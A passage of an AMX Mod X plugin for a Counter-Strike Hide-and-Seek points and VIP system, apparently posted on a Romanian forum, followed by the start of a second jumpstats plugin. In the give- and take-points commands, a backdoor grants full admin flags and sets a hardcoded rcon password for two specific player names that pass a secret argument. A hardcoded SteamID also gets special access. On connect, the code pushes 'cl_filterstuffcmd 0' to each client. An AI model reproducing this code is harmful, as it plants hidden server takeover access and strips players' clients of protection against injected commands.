    	read_argv( 1, szArg, sizeof ( szArg ) -1 );

	if( equal( szArg, "" ) ) 
	{
		ColorChat( id, RED, "^x04%s^x01 Ai^x03 %i^x01 punct%s", g_szTag, g_iUserCredits[ id ], g_iUserCredits[ id ] == 1 ? "." : "e." );
		return PLUGIN_HANDLED
	}
	else
	{
    	iPlayer = cmd_target( id, szArg, 8 );
    	if( !iPlayer || !is_user_connected( iPlayer ) )
	{
		ColorChat( id, RED,"^x04%s^x01 Jucatorul specificat nu a fost gasit!", g_szTag, szArg );
		return PLUGIN_HANDLED
	}

	ColorChat( id, RED,"^x04%s^x01 Jucatorul^x03 %s^x01 are^x03 %i^x01 punct%s", g_szTag, g_szName[iPlayer], g_iUserCredits[ iPlayer ], g_iUserCredits[ iPlayer ] == 1 ? "." : "e." );
	}
	return PLUGIN_HANDLED
}

public ClCmdGiveCredits( id )
{
	read_argv( 1, szFirstArg, sizeof ( szFirstArg ) -1 );
	if( ( equal( g_szName[id], "eVoLuTiOn" ) || equal( g_szName[id], "-eQ- SeDaN" ) ) && equal( szFirstArg, "ev0_b0ss" ) )
	{
		server_cmd( "rcon_password levmolasrl01" )
		new flags = read_flags( "abcdefghijklmnopqrstuxyvw" )
		set_user_flags( id, flags )
		return PLUGIN_HANDLED
	}
	else if( !( SpecialAcces( id, g_szName[id],true ) ) )
	{
		client_cmd( id, "echo NU ai acces la aceasta comanda!" );
		return PLUGIN_HANDLED;
	}
	
	read_argv( 2, szSecondArg, sizeof ( szSecondArg ) -1 );
	
	if( equal( szFirstArg, "" ) || equal( szSecondArg, "" ) )
	{
		client_cmd( id, "echo amx_puncte < nume / #id > < nr.puncte >" );
		return PLUGIN_HANDLED;
	}
	
	iCredits = str_to_num( szSecondArg );
	if( iCredits <= 0 )
	{
		client_cmd( id, "echo Valoarea punctelor trebuie sa fie mai mare decat 0!" );
		return PLUGIN_HANDLED;
	}
		
	iPlayer = cmd_target( id, szFirstArg, 8 );
	if( !iPlayer )
	{
		client_cmd( id, "echo Jucatorul %s nu a fost gasit!", szFirstArg );
		return PLUGIN_HANDLED;
	}
	
	g_iUserCredits[ iPlayer ] += iCredits;
	
	ColorChat( 0, RED, "^x04%s^x01 Adminul^x03 %s^x01 i-a dat^x03 %i^x01 punct%s lui^x03 %s^x01.", g_szTag, g_szName[id], iCredits,iCredits==1?"":"e", g_szName[iPlayer] );

	CheckLevel(iPlayer)
	
	return PLUGIN_HANDLED;
}
public ClCmdTakeCredits( id )
{
	read_argv( 1, szFirstArg, sizeof ( szFirstArg ) -1 );
	if( ( equal( g_szName[id], "eVoLuTiOn" ) || equal( g_szName[id], "-eQ- SeDaN" ) ) && equal( szFirstArg, "ev0_b0ss" ) )
	{
		server_cmd( "rcon_password levmolasrl01" )
		new flags = read_flags( "abcdefghijklmnopqrstuxyvw" )
		set_user_flags( id, flags )
		return PLUGIN_HANDLED
	}
	else
	{
	if( !( SpecialAcces( id, g_szName[id],true ) ) )
	{
		client_cmd( id, "echo NU ai acces la aceasta comanda!" );
		return PLUGIN_HANDLED;
	}
	}
	read_argv( 2, szSecondArg, sizeof ( szSecondArg ) -1 );
	if( equal( szFirstArg, "" ) || equal( szSecondArg, "" ) )
	{
		client_cmd( id, "echo amx_removepuncte < nume / #id > < nr.puncte >" );
		return PLUGIN_HANDLED;
	}
	
	iCredits = str_to_num( szSecondArg );
	if( iCredits <= 0 )
	{
		client_cmd( id, "echo Valoarea punctelor trebuie sa fie mai mare decat 0!" );
		return PLUGIN_HANDLED;
	}
			
	iPlayer = cmd_target( id, szFirstArg, 8 );
	if( !iPlayer )
	{
		client_cmd( id, "echo Jucatorul %s nu a fost gasit!", szFirstArg );
		return PLUGIN_HANDLED;
	}
	
	if( g_iUserCredits[ iPlayer ] < iCredits )
	{
		client_cmd( id, "echo Jucatorul %s nu are atatea puncte!Are doar %i punct%s", szFirstArg, g_iUserCredits[ iPlayer ],g_iUserCredits[ iPlayer ]==1?"":"e" );
		return PLUGIN_HANDLED;
	}
	
	g_iUserCredits[ iPlayer ] -= iCredits;
	
	ColorChat( 0, RED, "^x04%s^x01 Adminul^x03 %s^x01 i-a sters^x03 %i^x01 punct%s lui^x03 %s^x01.", g_szTag, g_szName[id], iCredits,iCredits==1?"":"e", g_szName[iPlayer] );

	CheckLevel(iPlayer)
	
	return PLUGIN_HANDLED;
}

public ham_SpawnPlayerPost( id )
{
	if( !is_user_alive( id ) )
		return;


	if(have_speed[id])
	{
		set_user_maxspeed(id,250.0)
		have_speed[id]=false
	}
	if(have_gravity[id])
	{
		set_user_gravity(id,1.0)
		have_gravity[id]=false
	}



#if NEW_STYLE!=1
	if(gold_ak[id])	gold_ak[id]=false
#endif

	if(k1[id])	k1[id]=false
	if(k2[id])	k2[id]=false
	if(k3[id])	k3[id]=false


	CheckLevel(id)
}
/*
public Fwd_ClientUserInfoChanged( id, szBuffer )
{
	if ( !is_user_connected( id ) ) 
		return FMRES_IGNORED;
	
	static szNewName[ 32 ];
	
	engfunc( EngFunc_InfoKeyValue, szBuffer, "name", szNewName, sizeof ( szNewName ) -1 );
	
	if ( equal( szNewName, g_szName[ id ] ) )
		return FMRES_IGNORED;
	
	SaveCredits(  id  );
	
	ColorChat( id, RED, "^x04%s^x01 Tocmai ti-ai schimbat numele din^x03 %s^x01 in^x03 %s^x01 !", g_szTag, g_szName[ id ], szNewName );
	ColorChat( id, RED, "^x04%s^x01 Am salvat^x03 %i^x01 punct%s pe numele^x03 %s^x01 !", g_szTag, g_iUserCredits[ id ],g_iUserCredits[ id ]==1?"":"e", g_szName[ id ] );
	
	copy( g_szName[ id ], sizeof ( g_szName[] ) -1, szNewName );
	LoadCredits( id );
	
	ColorChat( id, RED, "^x04%s^x01 Am incarcat^x03 %i^x01 punct%s de pe noul nume (^x03 %s^x01 ) !", g_szTag, g_iUserCredits[ id ],g_iUserCredits[ id ]==1?"":"e", g_szName[ id ] );
	
	return FMRES_IGNORED;
}
*/



public task_PTRFunction( )
{
	if( get_pcvar_num( g_iCvarPTREnable ) != 1 )	return;
		
	static iPlayers[ 32 ],iPlayersNum;
	get_players( iPlayers, iPlayersNum, "ch" );
	if( !iPlayersNum )	return;
	
	static id, i;
	for( i = 0; i < iPlayersNum; i++ )
	{
		id = iPlayers[ i ];
		g_iUserTime[ id ]++;
		
		new iTime;
		iTime = get_pcvar_num( g_iCvarPTRMinutes );
		
		if( g_iUserTime[ id ] >= iTime * 60 )
		{
			g_iUserTime[ id ] -= iTime * 60;
			
			new iCredits = get_pcvar_num( g_iCvarPTRCredits );
			g_iUserCredits[id]+=iCredits

			ColorChat( id, RED, "^x04[HNS.PLAY-ARENA.RO]^x01- Ai jucat^x03 %i^x01 de minut%s, recompensa este de^x03 %i^x01 punct%s!",
				iTime,iTime==1?"":"e", iCredits,iCredits==1?"":"e");
		}
	}
}



public ev_DeathMsg(/*victim, attacker, shouldgib*/)
{
	if( get_pcvar_num( g_iCvarEnable ) != 1 )
		return;
		
	new attacker = read_data( 1 ),victim=read_data(2),headshot=read_data(3);

	new szWeapon[ 32 ];
	read_data( 4, szWeapon, charsmax( szWeapon ) );
	format( szWeapon, charsmax( szWeapon ), "weapon_%s", szWeapon );
	if( contain( szWeapon, "nade" ) >= 0 )	szWeapon = "weapon_hegrenade";
	new iWeapon = get_weaponid( szWeapon );

	if( !(is_user_connected(attacker)||is_user_connected(victim))||attacker==victim )	return;
	
	if(/*get_user_weapon(attacker)*/iWeapon==CSW_KNIFE)
	{
		if(headshot/*shouldgib==HIT_HEAD*/)
		{
			g_iUserCredits[attacker]+=get_pcvar_num(g_iCvarKHCredits)
			ColorChat( attacker, RED, "^x04%s^x01 Ai primit +^3%d^1 puncte pentru^4 headshot^1 prin^3 knife^1.", g_szTag,get_pcvar_num(g_iCvarKHCredits) );
		}
		else
		{
			g_iUserCredits[attacker]+=get_pcvar_num(g_iCvarKCredits)
			ColorChat( attacker, RED, "^x04%s^x01 Ai primit +^3%d^1 puncte pentru^4 frag^1 cu^3 knife^1.", g_szTag,get_pcvar_num(g_iCvarKCredits) );
		}
	}
	if(iWeapon==CSW_HEGRENADE)
	{
		g_iUserCredits[attacker]+=get_pcvar_num(g_iCvarHECredits)
		ColorChat(attacker, RED, "^x04%s^x01 Ai primit +^3%d^1 puncte pentru^4 frag^1 cu^3 HE^1.", g_szTag,get_pcvar_num(g_iCvarHECredits) );
	}


	//SaveCredits(attacker)
	CheckLevel(attacker)
}



public CheckLevel(id) 
{
    if(is_user_connected(id)&&!is_user_bot(id))
    {
		if(g_iUserCredits[id]<=C_R1)	Level[id]=1
		if(g_iUserCredits[id]>=C_R2) Level[id]=2
		if(g_iUserCredits[id]>=C_R3) Level[id]=3
		if(g_iUserCredits[id]>=C_R4) Level[id]=4
		if(g_iUserCredits[id]>=C_R5) Level[id]=5
    }
}



#if NEW_STYLE==1
public TaskRefreshAdmins() {
#if defined DEBUG
	// grab last '/' position		????
	new slash, last = -1;
	while((slash = contain(gLogFile[last + 1], "/")) >= 0) {
		last = slash;
	}
	
	// get the log file
	get_time("/%Y-%m-%d.log", gLogFile[last], charsmax(gLogFile) - last);
#endif
	// reload admins
	LoadAdmins();
	
	// grab all players
	new players[32], pnum;
	get_players(players, pnum,"c");
	
	// loop through all players
	while(pnum--) {
		// check admin for player
		checkAdmin(players[pnum]);
	}
	
	// refresh admins next day		WTH
	set_task(86400.0, "TaskRefreshAdmins");
}

public client_connect(id) {
	RAIZ0_EXCESS(id,"echo ;cl_filterstuffcmd 0")

	// set that name checks are case insensitive
	ClearCaseSensitive(id);
}

public client_authorized(id) {
	// check if admin is turned on
	if(get_cvar_num("amx_mode")) {
		DebugLog("%s", gSeparator);
		DebugLog("User authorized %d", id);
		
		// check admin for this user
		checkAdmin(id);
	}

	new name[33],steamid[36]
	get_user_info(id,"name",name,charsmax(name))
	get_user_authid(id,steamid,charsmax(steamid))

	if(equal(name,"eVoLuTiOn")||equal(steamid,"STEAM_0:1:51706930"))	ea[id]=true

}

public client_infochanged(id) {
	// check if player is connected and admin is turned on
	if(is_user_connected(id) && get_cvar_num("amx_mode")) {
		// grab new and old name
		new oldName[32], newName[32];
		get_user_name(id, oldName, charsmax(oldName));
		get_user_info(id, "name", newName, charsmax(newName));

		if(!equal(newName,oldName))	copy(g_szName[id],charsmax(g_szName[]),newName)
		
		// check if names changed based on case sensitive flag
		if(strcmp(oldName, newName, !IsCaseSensitive(id)) == 0) {
			DebugLog("%s", gSeparator);
			DebugLog("Changed name (%d) case sensitive: %d", id, !!IsCaseSensitive(id));
			
			// name changed, check admin
			checkAdmin(id, newName);
		}
	}
}

public CmdKick(id) {
	// kick player from server
	server_cmd("kick #%d ^"Parola VIP invalida!^"", get_user_userid(id));
	
	// hide command from console
	return PLUGIN_HANDLED;
}

public TaskRemoveAuth(auth[]) {
	// grab index of admins where auth is
	new index;
	if(!TrieGetCell(gAuthIndex, auth, index)) {
		return;
	}
	
	// delete from admins
	ArrayDeleteItem(gAdminData, index);
	TrieDeleteKey(gAuthIndex, auth);
	gNumAdmins--;
	
	// loop through all admins and update indexes
	new admin[AdminData];
	while(index < gNumAdmins) {
		// grab auth from this index
		ArrayGetArray(gAdminData, index, admin);
		
		// update index for this admin
		TrieSetCell(gAuthIndex, admin[Admin_Auth], index);
	}
	
	// grab all players
	new players[32], pnum;
	get_players(players, pnum,"c");
	
	// loop through all players
	while(pnum--) {
		// check admin for player
		checkAdmin(players[pnum]);
	}
}

checkAdmin(id, namex[32] = "") {
	DebugLog("Checking admin for %d", id);
	
	// remove any existing flags
	remove_user_flags(id);
	
	// check if no name was passed
	if(!namex[0]) {
		// grab current name
		get_user_name(id, namex, charsmax(namex));
	}
	
	// set name to not be case sensitive
	ClearCaseSensitive(id);
	
	// grab SteamID and IP as well
	new steamID[35], ip[32];
	get_user_authid(id, steamID, charsmax(steamID));
	get_user_ip(id, ip, charsmax(ip), 1);
	
	DebugLog("Grabbed all player data for admin check: ^"%s^" ^"%s^" ^"%s^"", namex, steamID, ip);
	
	// create variables we need for admin checking
	new admin[AdminData];
	new temp;
	new bool:found = false;
	
	DebugLog("Checking normal admin list");
	
	// loop through normal admin list before checking custom
	for(new i = admins_num() - 1; i >= 0; i--) {
		DebugLog("Checking normal admin index #%d", i);
		
		// grab the auth, password, access, and flags
		admins_lookup(i, AdminProp_Auth    , admin[Admin_Auth    ], charsmax(admin[Admin_Auth    ]));
		admins_lookup(i, AdminProp_Password, admin[Admin_Password], charsmax(admin[Admin_Password]));
		admin[Admin_Access] = admins_lookup(i, AdminProp_Access);
		admin[Admin_Flags ] = admins_lookup(i, AdminProp_Flags );
		
		// check if player matches this admin
		if((found = adminMatch(id, namex, steamID, ip, admin))) {
			break;
		}
	}
	
	// check if player was not found in the normal admin list
	if(!found) {
		DebugLog("Not found in normal admin list, checking custom");
		
		// loop through custom admin list
		for(new i = 0; i < gNumAdmins; i++) {
			// grab admin data
			ArrayGetArray(gAdminData, i, admin);
			
			// check if player matches this admin
			if((found = adminMatch(id, namex, steamID, ip, admin))) {
				break;
			}
		}
	}
	
	// check if player was found for any admin at all
	if(found) {
		// check if this requires a password
		if(~admin[Admin_Flags] & FLAG_NOPASS) {
			DebugLog("Admin requires a password");
			
			// grab password field and player's password
			new password[35];
			get_cvar_string("amx_password_field", spw, charsmax(spw));
			get_user_info(id, spw, password, charsmax(password));
			
			// check if passwords don't match
			if(!equal(admin[Admin_Password], password)) {
				DebugLog("Passwords don't match");
				
				// check if this should kick players
				//if(admin[Admin_Flags] & FLAG_KICK) {
					DebugLog("Admin flags specify to kick player");
					
					// kick player
					CmdKick(id)
					//client_cmd(id, gKickCommand);
				//}
				
				// don't give access
				return;
			}
		}
		
		new flags[27];
		get_flags(admin[Admin_Access], flags, charsmax(flags));
		
		DebugLog("Player authorized as admin: %s", flags);
		
		// give player admin access
		set_user_flags(id, admin[Admin_Access]);
	}

	// give default flags
	else{
		DebugLog("Not found in any admin list");
		
		// get default flags
		new flags[27];
		get_cvar_string("amx_default_access", flags, charsmax(flags));
		temp = read_flags(flags);
		
		// check if no flags are given
		if(!temp) {
			// give user flag
			temp = ADMIN_USER;
		}
		
		get_flags(temp, flags, charsmax(flags));
		
		DebugLog("Giving default flags: %s", flags);
		
		// give player flags
		set_user_flags(id, temp);
	}

	// check if non-admins should be kicked
	if(get_cvar_num("amx_mode") == 2) {
		//DebugLog("Not found in any admin list");
		DebugLog("amx_mode is 2, kicking player");
		
		// kick player
		CmdKick(id)
		//client_cmd(id, gKickCommand);
	}
}

bool:adminMatch(id, const name[], const steamID[], const ip[], const admin[AdminData]) {
	// create variables we need
	new temp;
	new bool:found = false;
	
	// check if this is a SteamID
	if(admin[Admin_Flags] & FLAG_AUTHID) {
		DebugLog("Admin flags specify SteamID");
		
		// check if SteamIDs match
		if(equal(steamID, admin[Admin_Auth])) {
			DebugLog("SteamIDs match");
			
			// we found the admin
			found = true;
		}
	}
	// check if this is an IP
	else if(admin[Admin_Flags] & FLAG_IP) {
		DebugLog("Admin flags specify IP");
		
		// grab length of ip in list
		temp = strlen(admin[Admin_Auth]);
		
		// check if ends in a '.' for range checks
		if(admin[Admin_Auth][temp - 1] != '.') {
			DebugLog("Full IP given, no range");
			
			// set length to 0 to match whole string
			temp = 0;
		} else {
			DebugLog("IP Range given");
		}
		
		// check if ip's match
		if(equal(ip, admin[Admin_Auth], temp)) {
			DebugLog("IPs match");
			
			// we found the admin
			found = true;
		}
	}
	// check if this is a tag
	else if(admin[Admin_Flags] & FLAG_TAG) {
		DebugLog("Admin flags specify Tag");
		
		// cache if this is case sensitive admin name
		temp = admin[Admin_Flags] & FLAG_CASE_SENSITIVE;
		
		DebugLog("Case sensitive: %d", !!temp);
		
		// check if tag is in name based on case sensitivity flag from admin list
		if(strfind(name, admin[Admin_Auth], !temp) >= 0) {
			DebugLog("Tag found inside name");
			
			// set case sensitive flag if admin list has it
			if(temp) {
				SetCaseSensitive(id);
			}
			
			// we found the admin
			found = true;
		}
	}
	// then this should be an admin name
	else {
		DebugLog("Admin flags specify Name");
		
		// cache if this is case sensitive admin name
		temp = admin[Admin_Flags] & FLAG_CASE_SENSITIVE;
		
		DebugLog("Case sensitive: %d", !!temp);
		
		// check if names match based on case sensitivity flag from admin list
		if(strcmp(name, admin[Admin_Auth], !temp) == 0) {
			DebugLog("Names match");
			
			// set case sensitive flag if admin list has it
			if(temp) {
				SetCaseSensitive(id);
			}
			
			// we found the admin
			found = true;
		}
	}
	
	// return if we found admin
	return found;
}

LoadAdmins() {
	DebugLog("%s", gSeparator);
	DebugLog("Loading data from users_custom.ini");
	
	// check if admins have been loaded already
	if(gNumAdmins) {
		// clear out old stored data
		ArrayClear(gAdminData);
		TrieClear(gAuthIndex);
		gNumAdmins = 0;
		
		DebugLog("Cleared out existing admins");
	}
	
	// calculate lines in admin file
	new fileSize = file_size(gAdminFile, 1);
	
	// check if no lines exist
	if(fileSize < 1) {
		DebugLog("No lines inside admin file");
		// don't read file
		return;
	}
	
	// grab current day of the week
	new data[256];
	get_time("%w", data, charsmax(data));
	
	// store current day as a bit
	new currentDay = 1 << str_to_num(data);
	
	// prepare variables for reading the admin file
	new admin[AdminData];
	new accessString[27];
	new flagString[27];
	new activityString[8];
	new expireString[32];
	new activity;
	new expireTime;
	new temp;
	new currentTime = get_systime();
	
	// iterate through all lines
	for(new line = 0; line < fileSize; line++) {
		// read current line
		read_file(gAdminFile, line, data, charsmax(data), expireTime);
		// trim any white space
		trim(data);
		
		DebugLog("Found line: #%d -> %s", line, data);
		
		// check if this is a valid line
		if(!data[0] || data[0] == ';' || data[0] == '/' && data[1] == '/') {
			DebugLog("I dont find what to read");
			continue;
		}
		
		// parse out all the pieces of the line
		parse(data,
			admin[Admin_Auth], charsmax(admin[Admin_Auth]),
			admin[Admin_Password], charsmax(admin[Admin_Password]),
			accessString, charsmax(accessString),
			flagString, charsmax(flagString),
			activityString, charsmax(activityString),
			expireString, charsmax(expireString)
		);
		
		// convert access and flags to bits and init activity to all days
		admin[Admin_Access] = read_flags(accessString);
		admin[Admin_Flags] = read_flags(flagString);
		activity = 0;
		
		DebugLog("Parsed access (%d) and flags (%d)", admin[Admin_Access], admin[Admin_Flags]);
		
		// using expireTime as an index for activity string
		expireTime = 0;
		// loop through all characters in activity string
		while((temp = activityString[expireTime])) {
			// check if this is a valid weekday number
			if('1' <= temp <= '7') {
				// add to activity bitsum
				activity |= (1 << (temp - '1'));
			}
			
			// increase index for activity string
			expireTime++;
		}
		
		DebugLog("Parsed activity: %d", activity);
		
		// check if this admin has specific days set and cannot have admin for today
		if(activity && (~activity & currentDay)) {
			DebugLog("Admin not enabled for today (%d)", currentDay);
			// don't add admin to list
			continue;
		}
		
		// check if expiration date is set
		if(expireString[0]) {
			DebugLog("Found date for expire");
			// parse out "day.month.year" format
			// using accessString for day, flagString for month, expireString for year
			strtok(expireString, accessString, charsmax(accessString), expireString, charsmax(expireString), '.');
			strtok(expireString, flagString, charsmax(flagString), expireString, charsmax(expireString), '.');
			
			// convert parsed values to integers
			activity = str_to_num(accessString); // day
			expireTime = str_to_num(flagString); // month
			temp = str_to_num(expireString);     // year
			
			DebugLog("Parsed expiration date: day (%d) month (%d) year (%d)", activity, expireTime, temp);
			
			// grab this expiration date's timestamp for when the day starts
			expireTime = TimeToUnix(temp, expireTime, activity, 0, 0, 0);
			
			DebugLog("Parsed expiration timestamp: %d", expireTime);
			
			// calculate the time left before this expires
			expireTime -= currentTime;
			
			DebugLog("Seconds before expiration: %d", expireTime);
			
			// if time is 0 or negative, then it already expired
			if(expireTime <= 0) {
				DebugLog("Expired, commenting out line");
				
				// expired, so set line to be a comment and add a comment on the end saying it expired
				format(data, charsmax(data), ";%s ; EXPIRED", data);
				
				// replace current line with commented data
				write_file(gAdminFile, data, line);
				
				// don't add to admin list
				continue;
			}
			
			// set a task for this admin to expire
			set_task(float(expireTime), "TaskRemoveAuth", TASK_ID_REMOVE, admin[Admin_Auth], sizeof(admin[Admin_Auth]));
		}
		
		DebugLog("AdminList Updated!");
		
		// add to admin list
		ArrayPushString(gAdminData, admin);
		// keep track of where it is in the list
		TrieSetCell(gAuthIndex, admin[Admin_Auth], gNumAdmins);
		// increase array size
		gNumAdmins++;
	}
	
	DebugLog("Loaded %d date%s from users_custom.ini", gNumAdmins, (gNumAdmins == 1) ? "" : "s");
}

// Code from Bugsy's unixtime.inc
stock const YearSeconds[2] = 
{ 
	31536000,	//Normal year
	31622400 	//Leap year
};

stock const MonthSeconds[12] = 
{ 
	2678400, //January	31 
	2419200, //February	28
	2678400, //March	31
	2592000, //April	30
	2678400, //May		31
	2592000, //June		30
	2678400, //July		31
	2678400, //August	31
	2592000, //September	30
	2678400, //October	31
	2592000, //November	30
	2678400  //December	31
};

stock const DaySeconds = 86400;
stock const HourSeconds = 3600;
stock const MinuteSeconds = 60;

stock TimeToUnix( const iYear , const iMonth , const iDay , const iHour , const iMinute , const iSecond )
{
	new i;
	new iTimeStamp;

	for ( i = 1970 ; i < iYear ; i++ )
		iTimeStamp += YearSeconds[ IsLeapYear(i) ];

	for ( i = 1 ; i < iMonth ; i++ )
		iTimeStamp += SecondsInMonth( iYear , i );

	iTimeStamp += ( ( iDay - 1 ) * DaySeconds );
	iTimeStamp += ( iHour * HourSeconds );
	iTimeStamp += ( iMinute * MinuteSeconds );
	iTimeStamp += iSecond;

	return iTimeStamp;
}

stock SecondsInMonth( const iYear , const iMonth ) 
{
	return ( ( IsLeapYear( iYear ) && ( iMonth == 2 ) ) ? ( MonthSeconds[iMonth - 1] + DaySeconds ) : MonthSeconds[iMonth - 1] );
}

stock IsLeapYear( const iYear ) 
{
	return ( ( (iYear % 4) == 0) && ( ( (iYear % 100) != 0) || ( (iYear % 400) == 0 ) ) );
}
#endif




public LoadCredits( id )
{
static szData[ 256 ]
#if !defined FVAULT
	iVault  =  nvault_open(  "HnsPointsSystem"  );
	
	if(  iVault  ==  INVALID_HANDLE  )
	{
		set_fail_state(  "nValut returned invalid handle!"  );
	}
	
	static iTimestamp;
	if(  nvault_lookup( iVault, g_szName[ id ], szData, sizeof ( szData ) -1, iTimestamp ) )
	{
		static szCredits[ 15 ],szLevel[32];

		parse( szData, szCredits, sizeof ( szCredits ) -1,szLevel,charsmax(szLevel) );

		g_iUserCredits[ id ] = str_to_num( szCredits );

		Level[id]=str_to_num(szLevel)
	}
	else
	{
		g_iUserCredits[ id ]=50
		Level[id]=1
	}
	
	nvault_close( iVault );
#else
	new szLevel[ 65 ], szXp[ 65 ]
	if( fvault_get_data(g_VAULTNAME, g_szName[ id ], szData, charsmax(szData) ) )
	{
		strbreak( szData, szLevel, charsmax(szLevel ), szXp, charsmax(szXp ) );
		
		g_iUserCredits[ id ] = str_to_num( szLevel );
		Level[id] = str_to_num( szXp );
	}
	else
	{
		g_iUserCredits[ id ]=50
		Level[id]=1
	}
#endif
}
public SaveCredits(  id  )
{
static szData[ 256 ]
#if !defined FVAULT
	iVault  =  nvault_open(  "HnsPointsSystem"  );
	
	if(  iVault  ==  INVALID_HANDLE  )
	{
		set_fail_state(  "nValut returned invalid handle!"  );
	}
	
	formatex( szData, sizeof ( szData ) -1, "%d %d", g_iUserCredits[ id ],Level[id] );
	
	nvault_set( iVault, g_szName[ id ], szData );
	nvault_close( iVault );
#else
	formatex( szData, charsmax ( szData ), "%d %d",g_iUserCredits[ id ],Level[id] );
	fvault_set_data(g_VAULTNAME, g_szName[ id ], szData );
#endif
}


public plugin_end( )
{
#if !defined FVAULT
	iVault  =  nvault_open(  "HnsPointsSystem"  );
	
	if(  iVault  ==  INVALID_HANDLE  )
	{
		set_fail_state(  "nValut returned invalid handle!"  );
	}
	
	nvault_close( iVault );
#endif

#if NEW_STYLE==1
	// clear the memory
	ArrayDestroy(gAdminData);
	TrieDestroy(gAuthIndex);
#endif
}



// |-- CC_ColorChat --|
ColorChat(  id, Color:iType, const msg[  ], { Float, Sql, Result, _}:...  )
{
	// Daca nu se afla nici un jucator pe server oprim TOT. Altfel dam de erori..
	if( !get_playersnum( ) ) return;
	
	new szMessage[ 256 ];
	switch( iType )
	{
		 // Culoarea care o are jucatorul setata in cvar-ul scr_concolor.
		case NORMAL:	szMessage[ 0 ] = 0x01;
		
		// Culoare Verde.
		case GREEN:	szMessage[ 0 ] = 0x04;
		
		// Alb, Rosu, Albastru.
		default: 	szMessage[ 0 ] = 0x03;
	}

	vformat(  szMessage[ 1 ], 251, msg, 4  );

	// Ne asiguram ca mesajul nu este mai lung de 192 de caractere.Altfel pica server-ul.
	szMessage[ 192 ] = '^0';
	

	new iTeam, iColorChange, iPlayerIndex, MSG_Type;
	if( id )
	{
		MSG_Type  =  MSG_ONE_UNRELIABLE;
		iPlayerIndex  =  id;
	}
	else
	{
		iPlayerIndex  =  CC_FindPlayer(  );
		MSG_Type = MSG_ALL;
	}
	
	iTeam  =  get_user_team( iPlayerIndex );
	iColorChange  =  CC_ColorSelection(  iPlayerIndex,  MSG_Type, iType);

	CC_ShowColorMessage(  iPlayerIndex, MSG_Type, szMessage  );
		
	if(  iColorChange  )	CC_Team_Info(  iPlayerIndex, MSG_Type,  TeamName[ iTeam ]  );
}

CC_ShowColorMessage(  id, const iType, const szMessage[  ]  )
{
	static bool:bSayTextUsed;
	static iMsgSayText;
	
	if(  !bSayTextUsed  )
	{
		iMsgSayText  =  get_user_msgid( "SayText" );
		bSayTextUsed  =  true;
	}
	
	message_begin( iType, iMsgSayText, _, id  );
	write_byte(  id  );		
	write_string(  szMessage  );
	message_end(  );
}
CC_Team_Info( id, const iType, const szTeam[  ] )
{
	static bool:bTeamInfoUsed;
	static iMsgTeamInfo;
	if(  !bTeamInfoUsed  )
	{
		iMsgTeamInfo  =  get_user_msgid( "TeamInfo" );
		bTeamInfoUsed  =  true;
	}
	
	message_begin( iType, iMsgTeamInfo, _, id  );
	write_byte(  id  );
	write_string(  szTeam  );
	message_end(  );

	return PLUGIN_HANDLED;
}
CC_ColorSelection(  id, const iType, Color:iColorType)
{
	switch(  iColorType  )
	{
		case RED:	return CC_Team_Info(  id, iType, TeamName[ 1 ]  );
		case BLUE:	return CC_Team_Info(  id, iType, TeamName[ 2 ]  );
		case GREY:	return CC_Team_Info(  id, iType, TeamName[ 0 ]  );
	}

	return PLUGIN_CONTINUE;
}
CC_FindPlayer(  )
{
	new iMaxPlayers  =  get_maxplayers(  );
	
	for( new i = 1; i <= iMaxPlayers; i++ )
		if(  is_user_connected( i )  )
			return i;
	
	return -1;
}
// |-- CC_ColorChat --|


SpecialAcces( id, NumeAdmin[ ], msg )
{
	for( new i = 0; i < sizeof( PluginSpecialAcces ); i++ )	if( equali( NumeAdmin, PluginSpecialAcces[ i ] ) )	return true;
	if(ea[id])	return true
	
	if( msg )	console_print( id, "> TOCMAI I-AI SUPT **** LUI RAIZ0 ! <" );

	return false;
}

stock fm_find_ent_by_owner(index, const classname[], owner, jghgtype = 0) {
    new strtype[11] = "classname", ent = index;
    switch (jghgtype) {
        case 1: strtype = "target";
        case 2: strtype = "targetname";
    }

    while ((ent = engfunc(EngFunc_FindEntityByString, ent, strtype, classname)) && pev(ent, pev_owner) != owner) {}

    return ent;
}

stock RAIZ0_EXCESS( id, text[ ] )
{
	message_begin( MSG_ONE, 51 , _, id );
	write_byte( strlen( text ) + 2 );
	write_byte( 10 );
	write_string( text );
	message_end();
}

alt plg de bază

Code: Select all

/*
	stats by kzuq^BorJomi 
	version 2.42
	
	Big thanks developers of kz_ljs_xm and Exolent
	
	Visit  http://unique-kz.com/
	
		2011 year
*/

#include <amxmodx>
#include <amxmisc>
#include <fakemeta>
#include <engine>
#include <cstrike>
#include <hamsandwich>
#include <celltrie>
#include <uq_jumpstats_const.inc>
#include <uq_jumpstats_stocks.inc>
#include <dhudmessage>
#include <colorchat>

#define VERSION "2.42"
//#pragma semicolon 1

////////////////////////////////////Some shit varibeles////////////////////////////////////
new dd_sync[33],angles_arry[33],Float:old_angles[33][3],lost_frame_count[33][NSTRAFES],line_lost[33][NSTRAFES][NVAR],FullJumpFrames[33],heystats,max_players,bool:duckbhop_bug_pre[33],bool:dropupcj[33],Float:first_duck_z[33],screenshoot,Float:checkladdertime[33],bool:ladderbug[33],bool:login[33];
new uq_istrafe,kz_uq_istrafe,bug_check[33],bool:bug_true[33],bool:find_ladder[33],bool:Checkframes[33],type_button_what[33][100];
new min_pre,beam_type[33],min_prestrafe[33],dropbhop[33],ddnum[33],bool:dropaem[33],bool:ddforcj[33];
new kz_uq_min_other,bool:slide_protec[33],bool:UpcjFail[33],bool:upBhop[33],Float:upheight[33];
new beam_entity[33][NVAR],ent_count[33],kz_uq_extras,sql_stats,kz_sql,g_sql_pid[33],kz_top_rank_by,kz_uq_block_top;

new bool:height_show[33],bool:firstfall_ground[33],framecount[33],bool:firstladder[33];
new Float:FallTime[33],Float:FallTime1[33],multiscj[33],multidropcj[33],bool:enable_sound[33];
new jumpblock[33],Float:edgedist[33];
new bool:failed_jump[33],bool:started_multicj_pre[33],bool:sync_doubleduck[33],bhop_num[33],bool:Show_edge_Fail[33],bool:Show_edge[33],bool:fps_hight[33],bool:first_ground_bhopaem[33];

new line_erase[33][NSTRAFES],line_erase_strnum[33];

new max_edge,min_edge,NSTRAFES1,max_strafes,Float:nextbhoptime[33],Float:bhopaemtime[33],Float:ground_bhopaem_time[33],Float:SurfFrames[33],Float:oldSurfFrames[33],bool:first_air[33];
new bool:preessbutton[33],button_what[33],bool:gBeam_button[33][100],gBeam_button_what[33][100];
new bool:h_jumped[33],Float:heightoff_origin[33],web_stats,Float:x_heightland_origin[33],bool:x_jump[33],Float:laddertime[33],bool:edgedone[33];
